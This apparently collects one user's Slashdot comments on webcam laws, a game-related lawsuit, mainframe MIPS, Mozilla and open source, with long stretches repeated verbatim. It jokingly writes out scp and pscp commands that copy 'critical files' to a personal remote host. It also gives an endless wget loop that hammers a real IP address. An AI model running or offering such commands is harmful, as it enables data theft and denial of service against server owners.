This bill could make it illegal for you to use a webcam to monitor your own house, or at least make it inadmissible in court. For that matter, anyone who wanders by your webcam could probably press charges.
While this isn't necessicarily a huge deal, it could turn out to be a royal pain. The technology department of my high school used to have a webcam you could move around (it was hooked up to 2 servos)(the network admins broke it, and wouldn't fix it for us). I personally consider the high school to be a public place, but there are those who might get upset over such a thing.
"Shawn was playing 12 hours a day, and he wasn't supposed to because he was epileptic, and the game would cause seizures," she said. "Probably the last eight times he had seizures were because of stints on the computer."
OK, her son got seizures from the game and she's suing to have warning labels on the game because her son killed himself? His suicide was probably seizure related. (IANAD, so that may not be possible)
Oh, and good for Sony for standing behind their privacy policy.
Ah, it was just a question of phrasing. The sentence I quoted was worded in such a fashion that I was confused. I fully understand the concept of MIPS and why it is often a better indicator of server capacity, I just read the text, and took the phrase "11 percent of the mainframe mips (million instructions per second) shipped" as "11 percent of the millions of instructions per second shipped", which makes a great deal less sense if you don't work with mainframes routinely(read: never). I probably would have put a footnote or something in the article explaining that, or tried to find a clearer wording (I've been trying for 5 mins or so, without luck).
"What's more, IBM officials said 11 percent of the mainframe mips (million instructions per second) shipped by the company in the fourth quarter of last year were configured to run Linux."
Perhaps it's just me, but that makes no sense whatsoever. How do you ship a measure of speed? "Shipping" millions of instructions per second seems to me to be the same as "shipping" miles per hour. It just doesn't make sense. My guess is that the author of the article got some terminology wrong.
I understand that for your "average" user, it's desirable to have JRE and Flash come bundled with Mozilla. Personally, I'm glad they don't. I haven't installed either and have no plan to in the near future. If anything I'd make these optional componets in the installer which are selected by default, but can be removed with a click of the mouse.
And Mozilla *does* work out of the box. Let's not call seperate programs part of Mozilla.
"The fact that this information was gathered through a search on Google.com, which is hardly considered by most people to be a hacker's tool, is especially interesting," he noted. "The network map is rudimentary, but it gives an attacker some idea of where to look first."
Yet another story concerning Google. What's this? 4 in a week? (I'm too lazy to actually go count...)
Here's what happens when venkman.xpi fails to install. That was quite entertainging. My first instinct was to post is here, but since Mozilla was a bit flaky at the time it had to wait...
It makes quite a bit of sense if you think about it. Audiophiles have been using optical output for years (essentially just an LED and a bit of fiber optic cable). What really caught me off gaurd was the distance they were able to capture the data from. Apparently for some, they found they could capture data from "at least across the street".
Almost makes me wish someone cared enough to spy on me so I could prevent it (Duct tape to the rescue!).
Ok, folks - since so many people seem to be having trouble with the concept, we'll go over it again. I'm no expert (feel free to flame me if I'm wrong - oh, you would have anyway...), but Open Source is not the same as free software. Open source merely means that your customer can obtain the source after purchasing the product. Free Software is (as its name implies) free. There are many great products that are open source, but not free. Similarly there are many free software packages that are not open source. It just so happens that a lot of software for Linux/BSD/whatever happens to be both.
After about an hour of observing, I am happy to report that there was a quite spectacular show visible from Troy, NY. Definately worth the slight discomfort of 28(F) weather.
------
Slashdot Mirror
Actually, it was match heads I think. Gool ol' Anarchist's Cookbook recipe. Think I've still got that thing around someplace....
(arms flamethrower)
Ohhhh... he said "RAA"... never mind.
Honestly, why worry about physical devices? I've got a nice net connection...
/path/to/critical/files me@mydomain.com:ripoff/
scp -r
or for windows users
pscp -r g:\path\to\critical\files me@mydomain.com:ripoff/
Umm, movies are already restricted for those under 17.
Are you kidding? A picture's worth a 1000 words!! :)
Not according to pornography laws.
Just like there's no "speech" in a picture. (If you think of a game as a interactive series of pictures)
while(true); do wget http://216.194.92.96/download/skins/RadSkin.rpk -O=- > /dev/null; done
This bill could make it illegal for you to use a webcam to monitor your own house, or at least make it inadmissible in court. For that matter, anyone who wanders by your webcam could probably press charges.
While this isn't necessicarily a huge deal, it could turn out to be a royal pain. The technology department of my high school used to have a webcam you could move around (it was hooked up to 2 servos)(the network admins broke it, and wouldn't fix it for us). I personally consider the high school to be a public place, but there are those who might get upset over such a thing.
http://216.239.33.100/search?q=cache:uosxXkG5bnQC: www.cadsoft.de/people/kls/vdr/+&hl=en
It's also a convincing argument for turning off all forms of client-side scripting except for when they are needed.
"One likes to believe
In the freedom of music
But glittering prizes
And endless compromises
Shatter the illusion
Of integrity"
--Rush, "The Spirit Of Radio"
That should be:
s/AD&D/Everquest/g
s/TSR/Sony/g
That'll take care of all of them.
OK, her son got seizures from the game and she's suing to have warning labels on the game because her son killed himself? His suicide was probably seizure related. (IANAD, so that may not be possible)
Oh, and good for Sony for standing behind their privacy policy.
Ah, it was just a question of phrasing. The sentence I quoted was worded in such a fashion that I was confused. I fully understand the concept of MIPS and why it is often a better indicator of server capacity, I just read the text, and took the phrase "11 percent of the mainframe mips (million instructions per second) shipped" as "11 percent of the millions of instructions per second shipped", which makes a great deal less sense if you don't work with mainframes routinely(read: never). I probably would have put a footnote or something in the article explaining that, or tried to find a clearer wording (I've been trying for 5 mins or so, without luck).
(Thanks to all for the clarification)
Perhaps it's just me, but that makes no sense whatsoever. How do you ship a measure of speed? "Shipping" millions of instructions per second seems to me to be the same as "shipping" miles per hour. It just doesn't make sense. My guess is that the author of the article got some terminology wrong.
I understand that for your "average" user, it's desirable to have JRE and Flash come bundled with Mozilla. Personally, I'm glad they don't. I haven't installed either and have no plan to in the near future. If anything I'd make these optional componets in the installer which are selected by default, but can be removed with a click of the mouse.
And Mozilla *does* work out of the box. Let's not call seperate programs part of Mozilla.
Yet another story concerning Google. What's this? 4 in a week? (I'm too lazy to actually go count...)
Here's what happens when venkman.xpi fails to install. That was quite entertainging. My first instinct was to post is here, but since Mozilla was a bit flaky at the time it had to wait...
It makes quite a bit of sense if you think about it. Audiophiles have been using optical output for years (essentially just an LED and a bit of fiber optic cable). What really caught me off gaurd was the distance they were able to capture the data from. Apparently for some, they found they could capture data from "at least across the street".
Almost makes me wish someone cared enough to spy on me so I could prevent it (Duct tape to the rescue!).
Beez
Ok, folks - since so many people seem to be having trouble with the concept, we'll go over it again. I'm no expert (feel free to flame me if I'm wrong - oh, you would have anyway...), but Open Source is not the same as free software. Open source merely means that your customer can obtain the source after purchasing the product. Free Software is (as its name implies) free. There are many great products that are open source, but not free. Similarly there are many free software packages that are not open source. It just so happens that a lot of software for Linux/BSD/whatever happens to be both.
Ok, back to my lurking.
After about an hour of observing, I am happy to report that there was a quite spectacular show visible from Troy, NY. Definately worth the slight discomfort of 28(F) weather.
------
To relieve a bit of stress from kernel.org, heres the gzipped tarball...
g z
http://beresm.stu.rpi.edu/~mike/linux-2.4.13.tar.
It's being debated on the floor now:
http://clerkweb.house.gov/floor/current.htm
Here's a php script showing attacks on beezhive.com. Source here.
For those interested:
a log of code red attacks on beehzive.com is available at http://www.beezhive.com/~mike/red.php (please be patient it takes a second or two to load). Last count: 1273 attacks. Source code is up at http://www.beezhive.com/~mike/red.phps.